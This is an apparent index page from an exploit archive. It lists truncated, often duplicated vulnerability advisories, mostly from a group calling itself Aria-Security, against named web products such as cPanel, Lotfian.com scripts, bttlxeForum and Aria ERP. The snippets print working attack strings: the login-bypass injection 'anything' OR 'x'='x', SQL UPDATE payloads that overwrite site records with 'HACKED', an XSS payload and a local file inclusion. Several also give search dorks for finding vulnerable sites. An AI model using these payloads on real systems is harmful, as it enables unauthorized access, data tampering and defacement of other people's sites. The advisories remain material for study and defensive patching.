cPanel Hosting Manager (dohtaccess.html)

Aria-Security Team http://Aria-Security.Net ----------------------------------- Vendor: http://cPanel.com cPanel Hosting Manager dohtaccess.html Cross-Site SCripting Vulnerable File: /cpanelpro/dohtaccess.html Use the information Below: Url to redirect leech users to: "scriptalert'Discovered By...

[Aria-Security.Net] Real Estate Web SQL Injection

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: Vendor: http://www.site2nite.com/ Google Search: Website Development Provided By: Site2Nite Username: anything' OR 'x'='x Password: anything' OR 'x'='x Regards, The-0utl4w Credits Goes To Aria-Security.Net...

realestates2n-sql.txt

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: Vendor: http://www.site2nite.com/ Google Search: Website Development Provided By: Site2Nite Username: anything' OR 'x'='x Password: anything' OR 'x'='x Regards, The-0utl4w Credits Goes To Aria-Security.Net...

cpanelpro-xss.txt

Aria-Security Team http://Aria-Security.Net ----------------------------------- Vendor: http://cPanel.com cPanel Hosting Manager dohtaccess.html Cross-Site SCripting Vulnerable File: /cpanelpro/dohtaccess.html Use the information Below: Url to redirect leech users to: "alert'Discovered By...

Aria 0.99-6 (effect.php page) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================ Aria 0.99-6 effect.php page Local File Inclusion Vulnerability ================================================================ Digital Security Research Group DSecRG Advisor...

Aria 0.99-6 - 'page' Local File Inclusion

Digital Security Research Group DSecRG Advisory DSECRG-08-002 Application: aria-0.99-6 Web based ERP Versions Affected: aria-0.99-6 Vendor URL: http://www.tucows.net/ Bug: Local File Include Exploits: YES Reported: 09.01.2008 Vendor Response: None Date of Public Advisory: 15.01.2008 Authors:...

Aria 0.99-6 - page Local File Inclusion

Aria 0.99-6 - page Local File Inclusion Digital Security Research Group DSecRG Advisory DSECRG-08-002 Application: aria-0.99-6 Web based ERP Versions Affected: aria-0.99-6 Vendor URL: http://www.tucows.net/ Bug: Local File Include Exploits: YES Reported: 09.01.2008 Vendor Response: None Date of...

Instant Softwares DatingSite SQL Injection

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, imm02tal Vendor: http://www.instantsoftwares.com/pddatingsite.asp Google search: Home Dating Tips Join Now Member Login Gallery Blog Chat Room About Us Contact Us Username: Admin OR WHOEVER YOU WANT!...

isd-sql.txt

Aria-Security Team, http://Aria-Security.net ------------------------------- Shout Outs: AurA, imm02tal Vendor: http://www.instantsoftwares.com/pddatingsite.asp Google search: Home Dating Tips Join Now Member Login Gallery Blog Chat Room About Us Contact Us Username: Admin OR WHOEVER YOU WANT!...

bttlxeForum Multiple SQL Injection And Cross Site Scripting

Aria-Security Team http://Aria-Security.Net ----------------------------- Discovered By: Mormoroth Shout outs The-0utlaw for completing the vuln. I.SQL Injection http://site.ltd/myaccount/viewProfile.asp?member='update Members set ProfileName='hacked';-- This Changes MemberList...

Lotfian.com DATABASE DRIVEN TRAVEL SITE SQL Injection Vuln

No description provided by source. Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED' Destination.asp?CID=''UPDATE...

Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection

Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED'...

Lotfian.com DATABASE DRIVEN TRAVEL SITE - SQL Injection

Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED' Destination.asp?CID=''UPDATE gtsCountry set CountyName='HACKED'...

lotfiandb-sql.txt

Aria-Security Team http://Aria-Security.Net ----------------------------- DATABASE DRIVEN TRAVEL SITE Vendor: Lotfian.com NewsDetails.asp?NewsID=''UPDATE gtsNews set NewsDescription='HACKED' UPDATE gtsNews set NewsTitle='HACKED' Destination.asp?CID=''UPDATE gtsCountry set CountyName='HACKED'...

bttlxe-sqlxss.txt

Aria-Security Team http://Aria-Security.Net ----------------------------- Discovered By: Mormoroth Shout outs The-0utlaw for completing the vuln. I.SQL Injection http://site.ltd/myaccount/viewProfile.asp?member='update Members set ProfileName='hacked';-- This Changes MemberList...

Aria-Security.Net: PenPals Login and search page SQL Injection

--------------------------- Aria-Security Team http://Aria-Security.Net ---------------------------- Original Advisory @ http://aria-security.net/forum/showthread.php?p=1148 Shout outs to : AurA TLOTD http://ankoor.com/ vendor Dork:Powered By Anblik Affected fileS: search.asp login.asp 'group by...

lotfian-sqlxss.txt

Aria-Security Team http://Aria-Security.Net ---------------------------------------- Lotfian Brochure and cataloge Script XSS And SQL Injection Original Advisory @ http://aria-security.net/forum/showthread.php?p=1135 Username/Password Field can run SQL Queries, For Example I got these:...

Lotfian Brochure and cataloge Script XSS And SQL Injection

Aria-Security Team http://Aria-Security.Net ---------------------------------------- Lotfian Brochure and cataloge Script XSS And SQL Injection Original Advisory @ http://aria-security.net/forum/showthread.php?p=1135 Username/Password Field can run SQL Queries, For Example I got these:...

irola-sql.txt

Aria-Security Team http://Aria-Security.Net ----------------------------- Original Advisory and more details @ http://aria-security.net/forum/showthread.php?p=1106 Irola My-Time v3.5 http://www.irola.com Username/Password Fields can run SQL Queries. Therefore: We get the Tables: UserInfo.UserID...

nahc-sql.txt

Aria-Security Team http://Aria-Security.Net ------------------------------------------ Original Advisory @ http://aria-security.net/forum/showthread.php?p=1111 Try it online @ http://ads.netauctionhelp.com needed tables: tblMember.id tblMember.login tblMember.pswd Vulnarable Page: Login.asp Run...